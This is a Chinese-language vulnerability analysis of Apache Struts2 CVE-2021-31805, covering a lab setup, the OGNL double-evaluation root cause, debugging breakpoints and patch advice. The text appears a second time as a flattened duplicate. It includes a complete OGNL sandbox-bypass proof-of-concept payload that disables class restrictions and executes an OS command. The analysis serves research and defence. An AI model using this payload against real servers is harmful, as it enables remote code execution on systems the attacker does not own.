CVE-2021-31805 Apache Struts2 远程代码执行漏洞分析
字数 1674 2025-08-27 12:33:31

Apache Struts2 远程代码执行漏洞(CVE-2021-31805)深度分析与利用指南

漏洞概述

漏洞编号: CVE-2021-31805 (S2-062)
影响版本: Apache Struts2 2.0.0 至 2.5.29
漏洞类型: 远程代码执行(RCE)
CVSS评分: 9.8 (Critical)
漏洞来源: CVE-2020-17530 (S2-061)修复不完整导致

漏洞背景

Apache Struts2是一个用于开发JavaEE网络应用程序的开源MVC框架。该漏洞是由于Struts2框架对OGNL表达式双重评估处理不当导致的远程代码执行漏洞,是之前CVE-2020-17530漏洞修复不完整的结果。

环境搭建

复现环境选择

  1. 快速复现:

    • 使用Docker集成环境
    • 在线漏洞靶场
  2. 深度分析环境:

    • 使用IntelliJ IDEA手工搭建
    • 基于S2-061的demo改造

环境改造步骤

  1. 修改pom.xml:

    <dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.5.26</version>
    </dependency>
    
  2. 修改前端JSP文件:

    <s:textfield name="%{payload}" />
    
  3. 修改Action类:

    public class VulnAction extends ActionSupport {
        private String payload;
        // getter和setter方法
    }
    

前置知识

Struts2架构流程

  1. 客户端提交Web请求
  2. Servlet容器初步解析请求
  3. 核心处理器FilterDispatcher协调处理
  4. 拦截器应用通用功能(工作流、验证等)
  5. Action方法执行
  6. 结果渲染输出

OGNL表达式语言

OGNL (Object-Graph Navigation Language) 是Struts2的默认表达式语言,具有以下特性:

  • 获取和设置Java对象属性
  • 调用Java对象方法
  • 自动类型转换

OGNL执行三要素

  1. 表达式(Expression): 语义字符串
  2. 根对象(Root Object): 操作的目标对象
  3. 上下文环境(Context): 执行环境

OGNL重要操作符

  • #: 访问上下文环境
  • %: 强制OGNL解析字符串
  • $: 引用国际化信息

漏洞原理分析

漏洞触发流程

  1. 第一次OGNL解析:

    • evaluateParams函数中调用findString
    • name属性进行第一次OGNL赋值
  2. 属性检查:

    • 检查name属性是否包含value
    • 检查name属性是否为空
  3. 第二次OGNL解析:

    • 进入completeExpressionIfAltSyntax函数
    • 自动添加%{}包装
    • 通过findValue进行第二次OGNL解析

关键代码分析

// org.apache.struts2.components.UIBean#evaluateParams
protected void evaluateParams() {
    // 第一次OGNL解析
    String name = findString(this.name); 
    
    // 属性检查
    if (name != null && !name.isEmpty() && this.value == null) {
        // 进入completeExpressionIfAltSyntax
        name = completeExpressionIfAltSyntax(name);
        
        // 第二次OGNL解析
        Object value = findValue(name);
    }
}
// org.apache.struts2.util.ComponentUtils#containsExpression
public static boolean containsExpression(String expr) {
    return expr != null && expr.contains("%{") && expr.contains("}");
}

沙箱绕过技术

原始S2-061利用方式

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager')
.newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
+
// 后续利用链...
}

新绕过技术(2.5.26+)

  1. 创建BeanMap对象新方式:

    #@org.apache.commons.collections.BeanMap@{}
    
  2. 完整利用POC:

    %{
    (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
    +
    (#request.map.setBean(#request.get('struts.valueStack'))==true).toString().substring(0,0)
    +
    (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
    +
    (#request.map2.setBean(#request.get('map').get('context'))==true).toString().substring(0,0)
    +
    (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
    +
    (#request.map3.setBean(#request.get('map2').get('memberAccess'))==true).toString().substring(0,0)
    +
    (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())==true).toString().substring(0,0)
    +
    (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())==true).toString().substring(0,0)
    +
    (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
    }
    

动态调试指南

  1. 关键断点设置:

    • org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
    • org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag
    • org.apache.struts2.components.UIBean#end
    • org.apache.struts2.components.UIBean#evaluateParams
  2. 调试流程:

    • 观察第一次OGNL解析过程
    • 跟踪属性检查逻辑
    • 分析第二次OGNL解析触发点
    • 验证沙箱绕过效果

修复建议

  1. 官方修复方案:

  2. 临时缓解措施:

    • 禁用OGNL表达式功能
    • 严格过滤用户输入的%{}格式内容
    • 限制可访问的Java类和包

参考资源

  1. Exploiting Struts RCE on 2.5.26
  2. CVE-2020-17530 PoC
  3. Struts2安全公告

总结

CVE-2021-31805漏洞展示了框架修复不完整可能带来的严重后果。通过深入分析该漏洞,我们可以更好地理解Struts2框架的工作原理和OGNL表达式的安全风险。防御此类漏洞需要开发人员和安全团队共同努力,及时更新补丁并实施纵深防御策略。

Apache Struts2 远程代码执行漏洞(CVE-2021-31805)深度分析与利用指南 漏洞概述 漏洞编号 : CVE-2021-31805 (S2-062) 影响版本 : Apache Struts2 2.0.0 至 2.5.29 漏洞类型 : 远程代码执行(RCE) CVSS评分 : 9.8 (Critical) 漏洞来源 : CVE-2020-17530 (S2-061)修复不完整导致 漏洞背景 Apache Struts2是一个用于开发JavaEE网络应用程序的开源MVC框架。该漏洞是由于Struts2框架对OGNL表达式双重评估处理不当导致的远程代码执行漏洞,是之前CVE-2020-17530漏洞修复不完整的结果。 环境搭建 复现环境选择 快速复现 : 使用Docker集成环境 在线漏洞靶场 深度分析环境 : 使用IntelliJ IDEA手工搭建 基于S2-061的demo改造 环境改造步骤 修改pom.xml : 修改前端JSP文件 : 修改Action类 : 前置知识 Struts2架构流程 客户端提交Web请求 Servlet容器初步解析请求 核心处理器FilterDispatcher协调处理 拦截器应用通用功能(工作流、验证等) Action方法执行 结果渲染输出 OGNL表达式语言 OGNL (Object-Graph Navigation Language) 是Struts2的默认表达式语言,具有以下特性: 获取和设置Java对象属性 调用Java对象方法 自动类型转换 OGNL执行三要素 表达式(Expression) : 语义字符串 根对象(Root Object) : 操作的目标对象 上下文环境(Context) : 执行环境 OGNL重要操作符 # : 访问上下文环境 % : 强制OGNL解析字符串 $ : 引用国际化信息 漏洞原理分析 漏洞触发流程 第一次OGNL解析 : 在 evaluateParams 函数中调用 findString 对 name 属性进行第一次OGNL赋值 属性检查 : 检查 name 属性是否包含 value 检查 name 属性是否为空 第二次OGNL解析 : 进入 completeExpressionIfAltSyntax 函数 自动添加 %{} 包装 通过 findValue 进行第二次OGNL解析 关键代码分析 沙箱绕过技术 原始S2-061利用方式 新绕过技术(2.5.26+) 创建BeanMap对象新方式 : 完整利用POC : 动态调试指南 关键断点设置 : org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag org.apache.struts2.components.UIBean#end org.apache.struts2.components.UIBean#evaluateParams 调试流程 : 观察第一次OGNL解析过程 跟踪属性检查逻辑 分析第二次OGNL解析触发点 验证沙箱绕过效果 修复建议 官方修复方案 : 升级到Struts 2.5.30或更高版本 下载地址: Struts 2.5.30 Release Notes 临时缓解措施 : 禁用OGNL表达式功能 严格过滤用户输入的 %{} 格式内容 限制可访问的Java类和包 参考资源 Exploiting Struts RCE on 2.5.26 CVE-2020-17530 PoC Struts2安全公告 总结 CVE-2021-31805漏洞展示了框架修复不完整可能带来的严重后果。通过深入分析该漏洞,我们可以更好地理解Struts2框架的工作原理和OGNL表达式的安全风险。防御此类漏洞需要开发人员和安全团队共同努力,及时更新补丁并实施纵深防御策略。